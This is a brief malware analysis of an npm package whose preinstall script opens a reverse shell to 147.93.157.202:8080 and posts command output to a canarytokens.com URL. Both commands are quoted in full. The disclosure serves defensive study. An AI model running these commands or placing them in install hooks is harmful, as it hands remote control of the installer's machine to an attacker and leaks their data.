Summary

package.json declares a preinstall lifecycle script that runs bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php as an out-of-band exfiltration beacon. Both actions fire automatically on npm install, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.
